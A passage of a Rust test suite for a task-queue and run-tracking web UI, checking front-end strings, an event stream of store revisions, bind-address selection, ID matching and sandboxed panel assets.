11991 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11992 assert!(APP_JS.contains("blocked: { glyph:"));
11996 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11997
11998 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12002 assert!(
12003 APP_JS.contains(
12004 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12005 ),
12006 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12007 );
12008 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12012
12013 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12017 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12018 assert!(
12019 APP_JS.contains("location.hash = \"#/questions\";"),
12020 "a question node must jump to the Questions screen, not pretend to be a task"
12021 );
12022
12023 assert!(APP_JS.contains("Resolved questions"));
12026 assert!(APP_JS.contains("r.answersList.append("));
12027 assert!(APP_CSS.contains(".task-answers"));
12028 {
12029 let start = APP_JS
12030 .find("function updateTalkTaskRow")
12031 .expect("updateTalkTaskRow");
12032 let body = &APP_JS[start..];
12033 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12034 assert!(
12035 body.contains(
12036 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12037 ),
12038 "a chat-filed task row must link to the task page"
12039 );
12040 assert!(
12041 !body.contains("#/runs/") && !body.contains("#/queue/"),
12042 "the row must not branch to a run or the queue card"
12043 );
12044 assert!(APP_CSS.contains(".talk-task-link"));
12045 }
12046 }
12047
12048 #[test]
12049 fn a_task_notification_links_to_the_task_page() {
12050 let start = APP_JS
12052 .find("function noticeLink(")
12053 .expect("noticeLink exists");
12054 let body = &APP_JS[start..];
12055 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12056 assert!(
12057 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12058 "a task notice's link must target the task page"
12059 );
12060 assert!(
12061 !body.contains("#/queue/"),
12062 "regression: the task link must not go back to the Backlog route"
12063 );
12064 assert!(
12065 APP_JS.contains(
12066 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12067 ),
12068 "`#/tasks/<id>` must parse into the task route"
12069 );
12070
12071 assert!(
12073 APP_JS.contains(
12074 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12075 ),
12076 "`#/queue/<id>` must parse into a route carrying that id"
12077 );
12078
12079 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12083 assert!(APP_JS.contains("function consumeQueueFocus()"));
12084 assert!(APP_JS.contains("jumpToTask(id)"));
12085 }
12086
12087 #[test]
12090 fn chat_rows_put_the_title_alone_on_the_first_line() {
12091 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12092 assert!(APP_CSS.contains(
12093 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12094 ));
12095 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12096 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12097 }
12098
12099 #[test]
12100 fn run_rows_put_the_title_alone_on_the_first_line() {
12101 assert!(
12102 APP_CSS.contains(
12103 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12104 )
12105 );
12106 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12107 assert!(APP_JS.contains("class: \"card run-card\""));
12108 assert!(APP_JS.contains("class: \"repo run-id\""));
12109 }
12110
12111 #[test]
12115 fn wide_screens_show_list_and_preview_side_by_side() {
12116 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12118 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12119 assert!(APP_CSS.contains("main[data-split]"));
12120 assert!(APP_CSS.contains("body[data-split]"));
12121
12122 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12124 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12125 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12126 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12127 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12128
12129 assert!(APP_JS.contains("function markSelected() {"));
12131 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12132 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12133 assert!(
12135 APP_CSS.contains(
12136 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12137 )
12138 );
12139
12140 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12142 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12143 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12144 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12145
12146 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12150 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12151 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12152 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12153
12154 assert!(APP_JS.contains("sandbox: \"\""));
12156 assert!(!APP_JS.contains("sandbox: \"allow"));
12157 }
12158
12159 #[test]
12160 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12161 assert!(
12170 APP_JS.contains(
12171 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12172 ),
12173 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12174 recursive renderQueue() call has nothing left to jump to"
12175 );
12176 assert!(
12177 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12178 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12179 arrives later still gets it"
12180 );
12181 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12182 assert!(APP_JS.contains("is not in the current Backlog."));
12183 assert!(APP_JS.contains("li.card[data-task-id=\""));
12184 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12185 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12186 assert!(APP_CSS.contains(".card-permalink"));
12187 assert!(APP_CSS.contains(".queue-focus-status"));
12188 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12189 }
12190
12191 #[test]
12192 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12193 assert!(
12201 APP_JS.contains(
12202 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12203 ),
12204 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12205 );
12206 }
12207
12208 #[test]
12209 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12210 assert!(
12211 APP_JS.contains("round.verified_head !== round.head"),
12212 "a round that verified an earlier commit must be visibly distinct from one that \
12213 verified the head reviewers are looking at now"
12214 );
12215 assert!(
12216 APP_JS.contains("round.verified_at"),
12217 "when a check ran must be on the wire, not just which commit"
12218 );
12219 assert!(
12220 APP_JS.contains("resource_blocked"),
12221 "a command magi never got to run (shared build cache contention) must not render \
12222 the same as a command that ran and failed"
12223 );
12224 }
12225
12226 #[test]
12227 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12228 assert!(
12236 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12237 "every KPI tile built through statusTile() must route its click through \
12238 openRunsFiltered, the single place that sets the Runs filter"
12239 );
12240 for (label, status) in [
12241 ("Merged", "merged"),
12242 ("Ready", "ready"),
12243 ("Blocked", "blocked"),
12244 ("Stalled", "stalled"),
12245 ] {
12246 let call = format!("statusTile(\"{label}\", t.{status}, ");
12247 assert!(
12248 APP_JS.contains(&call),
12249 "expected the {label} KPI tile built via {call}..."
12250 );
12251 assert!(
12252 APP_JS.contains(&format!("status === \"{status}\"")),
12253 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12254 compare a run against, not one invented only for the stats tile"
12255 );
12256 }
12257 assert!(
12258 APP_JS.contains("function openRunsFiltered(status)"),
12259 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12260 );
12261 assert!(
12262 APP_JS.contains(
12263 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12264 ),
12265 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12266 );
12267 assert!(
12275 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12276 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12277 hashchange event that may never fire"
12278 );
12279 }
12280
12281 #[test]
12282 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12283 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12289 assert!(
12290 APP_JS.contains(
12291 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12292 ),
12293 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12294 guard for an incompatible tree section"
12295 );
12296 }
12297
12298 #[test]
12299 fn every_stats_queue_tile_names_a_real_queue_section() {
12300 assert!(
12306 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12307 "every queue tile built through sectionTile() must route its click through \
12308 openQueueSectionFocus"
12309 );
12310 for key in ["upnext", "running", "done", "held", "blocked"] {
12311 assert!(
12312 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12313 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12314 );
12315 }
12316 for line in [
12320 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12321 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12322 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12323 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12324 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12325 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12326 ] {
12327 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12328 }
12329 }
12330
12331 #[test]
12332 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12333 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12340 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12341 assert!(APP_JS.contains("function revealQueueSection(details)"));
12342 assert!(
12343 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12344 "renderQueue() must consume both focus channels on every pass"
12345 );
12346 assert!(
12347 APP_JS.contains(
12348 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12349 ),
12350 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12351 the recursive renderQueue() call has nothing left to reveal"
12352 );
12353 assert!(
12354 APP_JS.contains(
12355 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12356 ),
12357 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12358 );
12359 assert!(
12367 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12368 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12369 hashchange event that may never fire"
12370 );
12371 }
12372
12373 #[tokio::test]
12374 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12375 let f = Fixture::start().await;
12376
12377 let mut socket = tokio::net::TcpStream::connect(f.addr)
12378 .await
12379 .expect("connect");
12380 socket
12381 .write_all(
12382 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12383 )
12384 .await
12385 .expect("write request");
12386
12387 let mut seen = String::new();
12390 let mut buf = [0u8; 1024];
12391 while !seen.contains("event: change") {
12392 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12393 .await
12394 .expect("the stream must speak within five seconds")
12395 .expect("read");
12396 assert!(read > 0, "the server closed the change stream: {seen}");
12397 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12398 }
12399
12400 assert!(
12401 seen.to_lowercase()
12402 .contains("content-type: text/event-stream"),
12403 "the browser only reconnects automatically for a real SSE stream: {seen}"
12404 );
12405 let data = seen
12406 .lines()
12407 .find_map(|l| l.strip_prefix("data:"))
12408 .expect("a data line");
12409 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12410 assert!(
12411 payload["queue_rev"].is_u64()
12412 && payload["runs_rev"].is_u64()
12413 && payload["questions_rev"].is_u64()
12414 && payload["talks_rev"].is_u64()
12415 && payload["notifications_rev"].is_u64()
12416 && payload["loop_rev"].is_u64(),
12417 "the client needs one revision per store to know what to refetch, \
12418 and `talks_rev` is the only notification a standing talk gets - a \
12419 phone whose radio slept through a turn learns about it here, as \
12420 does one whose operator started the loop from another device: \
12421 {payload}"
12422 );
12423
12424 let health = f.get("/api/health").await.json();
12431 for key in [
12432 "queue_rev",
12433 "runs_rev",
12434 "questions_rev",
12435 "talks_rev",
12436 "notifications_rev",
12437 "loop_rev",
12438 ] {
12439 assert!(
12440 health[key].is_u64(),
12441 "health is the change stream's fallback and is missing `{key}`: {health}"
12442 );
12443 }
12444 }
12445
12446 #[tokio::test]
12447 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12448 let f = Fixture::start().await;
12449 let before = f.get("/api/health").await.json()["talks_rev"]
12450 .as_u64()
12451 .expect("talks_rev");
12452
12453 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12454 std::thread::sleep(Duration::from_millis(10));
12455 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12456 on_disk.turns.push(crate::talk::Turn {
12457 who: crate::talk::Who::Operator,
12458 body: "a new turn".to_owned(),
12459 at: Timestamp::now(),
12460 attachments: Vec::new(),
12461 usage: None,
12462 });
12463 f.talks().put(&mut on_disk).expect("record a turn");
12464
12465 let after = f.get("/api/health").await.json()["talks_rev"]
12466 .as_u64()
12467 .expect("talks_rev");
12468 assert_ne!(
12469 before, after,
12470 "a phone must be able to notice a talk's reply without polling every store"
12471 );
12472 }
12473
12474 #[test]
12475 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12476 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12480 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12481 }
12482 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12483 assert!("everywhere".parse::<Bind>().is_err());
12484 }
12485
12486 #[test]
12487 fn an_explicit_bind_address_is_taken_verbatim() {
12488 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12489
12490 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12491
12492 assert_eq!(addr, asked);
12493 assert!(
12494 warning.is_none(),
12495 "an operator who named an address gets no lecture"
12496 );
12497 }
12498
12499 #[test]
12500 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12501 let (addr, warning) = resolve_bind(&Bind::Auto);
12502
12503 match addr {
12510 IpAddr::V4(ip) if is_tailnet(&ip) => {
12511 assert!(warning.is_none(), "a tailnet address needs no warning");
12512 }
12513 other => {
12514 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12515 let warning = warning.expect("a fallback has to explain itself");
12516 assert!(
12517 warning.contains("127.0.0.1") && warning.contains("local-only"),
12518 "the warning says what happened and what it costs: {warning}"
12519 );
12520 }
12521 }
12522 }
12523
12524 #[test]
12525 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12526 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12530 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12531 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12532 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12533 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12534 }
12535
12536 #[test]
12537 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12538 let ids = vec![
12539 "20260902-140501-aaaa".to_owned(),
12540 "20260902-140502-aabb".to_owned(),
12541 ];
12542
12543 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12544 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12545 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12546
12547 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12548 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12549 assert_eq!(short, "20260902-140502-aabb");
12550 }
12551 #[tokio::test]
12552 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12553 let fx = Fixture::start().await;
12559 let id = panel(
12560 &fx,
12561 "<img src=\"shot.png\">",
12562 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12563 );
12564
12565 let doc = fx
12567 .get(&format!("/api/questions/{id}/panel/index.html"))
12568 .await;
12569 assert_eq!(doc.status, 200, "{}", doc.body);
12570 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12571
12572 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12573 assert_eq!(sibling.status, 200, "{}", sibling.body);
12574 assert_eq!(sibling.header("content-type"), Some("image/png"));
12575 assert_eq!(
12576 sibling.header("content-security-policy"),
12577 Some(PANEL_CSP),
12578 "the sibling route must carry the same policy as the asset route"
12579 );
12580
12581 assert_eq!(
12584 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12585 200
12586 );
12587 }
12588
12589 #[test]
12590 fn delta_stamps_cover_add_update_remove_and_noop() {
12591 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12592 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12593 let delta = diff_stamps(&before, &after, 42);
12594 assert_eq!(delta.base, 42);
12595 assert_eq!(delta.changed, ["b", "c"]);
12596 assert_eq!(delta.removed, ["a"]);
12597 let same = diff_stamps(&after, &after, 43);
12598 assert!(same.changed.is_empty() && same.removed.is_empty());
12599 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12600 let nanos: Stamps = [("b".into(), (2, 20))].into();
12601 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12602 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12603 assert_eq!(stamps_revision(&Stamps::new()), 0);
12604 }
12605
12606 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12607 std::fs::create_dir_all(home.join("runs")).unwrap();
12608 Arc::new(Ui::new(
12609 Queue::at(home.join("queue")),
12610 Questions::at(home.join("questions")),
12611 Talks::at(home.join("talks")),
12612 home.join("runs"),
12613 home.to_owned(),
12614 PathBuf::from("/repo/magi"),
12615 ))
12616 }
12617
12618 #[tokio::test]
12619 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12620 let home = TempDir::new().unwrap();
12621 let ui = delta_test_ui(home.path());
12622 let mut task = Task::new(
12623 "stream task".into(),
12624 "text".into(),
12625 PathBuf::from("/repo"),
12626 Source::Human,
12627 );
12628 ui.queue.put(&mut task).unwrap();
12629 let response = events(State(ui.clone())).await.into_response();
12630 let mut stream = response.into_body().into_data_stream();
12631 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12632 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12633 .await
12634 .unwrap()
12635 .unwrap()
12636 .unwrap();
12637 let text = String::from_utf8(chunk.to_vec()).unwrap();
12638 let data = text
12639 .lines()
12640 .find_map(|line| {
12641 line.strip_prefix("data: ")
12642 .or_else(|| line.strip_prefix("data:"))
12643 })
12644 .unwrap();
12645 serde_json::from_str(data).unwrap()
12646 }
12647 let initial = change(&mut stream).await;
12648 assert!(initial.get("queue_delta").is_none());
12649 task.instruction.push_str(" changed");
12650 ui.queue.put(&mut task).unwrap();
12651 let updated = change(&mut stream).await;
12652 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12653 assert_eq!(
12654 updated["queue_delta"]["changed"],
12655 serde_json::json!([task.id])
12656 );
12657 assert_eq!(
12658 updated["queue_rev"].as_u64(),
12659 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12660 );
12661 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12662 let removed = change(&mut stream).await;
12663 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12664 assert_eq!(
12665 removed["queue_delta"]["removed"],
12666 serde_json::json!([task.id])
12667 );
12668 }
12669
12670 #[tokio::test]
12671 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12672 let home = TempDir::new().unwrap();
12673 let ui = delta_test_ui(home.path());
12674 let queue = ui.queue.clone();
12675 let query = |ids: Option<&str>| {
12676 Query(ListQuery {
12677 limit: Some(2),
12678 ids: ids.map(str::to_owned),
12679 })
12680 };
12681 let mut root = Task::new(
12682 "root".into(),
12683 "instruction".into(),
12684 PathBuf::from("/repo"),
12685 Source::Human,
12686 );
12687 queue.put(&mut root).unwrap();
12688 let mut blocked = Task::new(
12689 "blocked".into(),
12690 "instruction".into(),
12691 PathBuf::from("/repo"),
12692 Source::Human,
12693 );
12694 blocked.block(vec![root.id.clone()], None);
12695 queue.put(&mut blocked).unwrap();
12696 let whole =
12697 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12698 .unwrap();
12699 let subset = serde_json::to_value(
12700 queue_list(State(ui.clone()), query(Some(&root.id)))
12701 .await
12702 .unwrap()
12703 .0,
12704 )
12705 .unwrap();
12706 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12707 let blockers = serde_json::to_value(
12708 queue_list(State(ui.clone()), query(Some("")))
12709 .await
12710 .unwrap()
12711 .0,
12712 )
12713 .unwrap();
12714 assert_eq!(blockers.as_array().unwrap().len(), 1);
12715 assert_eq!(blockers[0]["id"], blocked.id);
12716 assert_eq!(
12717 blockers[0]["waits_on"],
12718 whole
12719 .as_array()
12720 .unwrap()
12721 .iter()
12722 .find(|row| row["id"] == blocked.id)
12723 .unwrap()["waits_on"]
12724 );
12725
12726 for id in [
12727 "20260902-140501-aaaa",
12728 "20260902-140502-bbbb",
12729 "20260902-140503-cccc",
12730 ] {
12731 write_run(&ui.runs, id, RunStatus::Merged);
12732 }
12733 let old = serde_json::to_value(
12734 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12735 .await
12736 .unwrap()
12737 .0,
12738 )
12739 .unwrap();
12740 assert!(
12741 old.as_array().unwrap().is_empty(),
12742 "older updates must not enter the window"
12743 );
12744 let newest = serde_json::to_value(
12745 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12746 .await
12747 .unwrap()
12748 .0,
12749 )
12750 .unwrap();
12751 assert_eq!(newest.as_array().unwrap().len(), 1);
12752 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12753
12754 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12755 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12756 let talks = serde_json::to_value(
12757 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12758 .await
12759 .unwrap()
12760 .0,
12761 )
12762 .unwrap();
12763 assert_eq!(talks.as_array().unwrap().len(), 1);
12764 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12765 assert_eq!(
12766 serde_json::to_value(
12767 talks_list(State(ui.clone()), query(Some("")))
12768 .await
12769 .unwrap()
12770 .0
12771 )
12772 .unwrap(),
12773 serde_json::json!([])
12774 );
12775 }
12776
12777 #[tokio::test]
12778 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12779 async fn delta_payload_benchmark() {
12780 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12781 let ui = delta_test_ui(&home);
12782 let query = |ids: Option<String>| {
12783 Query(ListQuery {
12784 limit: Some(50),
12785 ids,
12786 })
12787 };
12788 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12789 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12790 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12791 let queue_id = queue
12792 .iter()
12793 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12794 .unwrap_or(&queue[0])
12795 .task
12796 .id
12797 .clone();
12798 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12799 .await
12800 .unwrap()
12801 .0;
12802 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12803 .await
12804 .unwrap()
12805 .0;
12806 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12807 .await
12808 .unwrap()
12809 .0;
12810 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12811 eprintln!(
12812 "DELTA_PAYLOAD {}",
12813 serde_json::json!({
12814 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12815 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
12816 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
12817 "counts": [queue.len(), runs.len(), talks.len()],
12818 "blocked": queue_delta.len() - 1,
12819 })
12820 );
12821 }
12822
12823 #[test]
12824 fn runs_revision_moves_when_deleting_an_older_run() {
12825 let temp = TempDir::new().expect("tempdir");
12826 let runs = temp.path().join("runs");
12827 std::fs::create_dir_all(&runs).expect("create runs dir");
12828
12829 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12830
12831 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12832 std::thread::sleep(Duration::from_millis(10));
12833 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12834
12835 let rev_before = runs_revision(&runs);
12836 assert!(rev_before > 0);
12837
12838 let old_dir = runs.join("20260901-100000-old1");
12839 std::fs::remove_dir_all(&old_dir).expect("remove old run");
12840
12841 let rev_after = runs_revision(&runs);
12842 assert_ne!(
12843 rev_before, rev_after,
12844 "deleting an older run must change the revision so other clients see the deletion"
12845 );
12846 }
12847
12848 fn write_state(runs: &FsPath, state: &RunState) {
12853 let dir = runs.join(&state.id);
12854 std::fs::create_dir_all(&dir).expect("run dir");
12855 std::fs::write(
12856 dir.join("run.json"),
12857 serde_json::to_string_pretty(state).expect("serialize run"),
12858 )
12859 .expect("write run.json");
12860 }
12861
12862 #[test]
12867 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12868 let temp = TempDir::new().expect("tempdir");
12869 let runs = temp.path().join("runs");
12870 std::fs::create_dir_all(&runs).expect("create runs dir");
12871 let mut state = RunState::new(
12872 PathBuf::from("/repo/magi"),
12873 "main".to_owned(),
12874 "0123456789abcdef".to_owned(),
12875 "task".to_owned(),
12876 Config::default(),
12877 );
12878 state.id = "20260902-100000-c0de".to_owned();
12879 write_state(&runs, &state);
12880
12881 let rev_idle = runs_revision(&runs);
12882 std::thread::sleep(Duration::from_millis(10));
12883 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12884 write_state(&runs, &state);
12885 let rev_started = runs_revision(&runs);
12886 assert_ne!(
12887 rev_idle, rev_started,
12888 "a seat starting must move the revision"
12889 );
12890
12891 std::thread::sleep(Duration::from_millis(10));
12892 state.seat_finished("judge-1");
12893 write_state(&runs, &state);
12894 let rev_finished = runs_revision(&runs);
12895 assert_ne!(
12896 rev_started, rev_finished,
12897 "and clearing it again must move the revision a second time"
12898 );
12899 }
12900
12901 #[tokio::test]
12902 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12903 let fx = Fixture::start().await;
12908 let q = fx.queue();
12909
12910 let mut t = Task::new(
12911 "Task".to_owned(),
12912 "Instruction".to_owned(),
12913 PathBuf::from("/repo"),
12914 Source::Human,
12915 );
12916 t.block(
12917 vec!["20260101-000000-dead".to_owned()],
12918 Some("waiting on Task 1".to_owned()),
12919 );
12920 t.answers.push(crate::queue::AnsweredQuestion {
12921 question: "Which backend?".to_owned(),
12922 answer: "SQLite".to_owned(),
12923 });
12924 q.put(&mut t).expect("put t");
12925
12926 let res = fx.get("/api/queue").await;
12927 assert_eq!(res.status, 200);
12928 let list = res.json();
12929 let view = list
12930 .as_array()
12931 .expect("array")
12932 .iter()
12933 .find(|v| v["id"] == t.id)
12934 .expect("task in list");
12935 assert_eq!(view["status_str"], "blocked");
12936 assert_eq!(
12937 view["blocked_by"],
12938 serde_json::json!(["20260101-000000-dead"])
12939 );
12940 assert_eq!(view["block_reason"], "waiting on Task 1");
12941 assert_eq!(view["answers"][0]["question"], "Which backend?");
12942 assert_eq!(view["answers"][0]["answer"], "SQLite");
12943
12944 let res = fx
12948 .post(&format!("/api/queue/{}/hold", t.short()), None)
12949 .await;
12950 assert_eq!(res.status, 200);
12951 let held = res.json();
12952 assert_eq!(held["status_str"], "held");
12953 assert_eq!(held["blocked_by"], serde_json::json!([]));
12954 assert!(held["block_reason"].is_null());
12955 assert_eq!(held["answers"][0]["answer"], "SQLite");
12956 }
12957
12958 #[tokio::test]
12959 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12960 let fx = Fixture::start().await;
12961 let q = fx.queue();
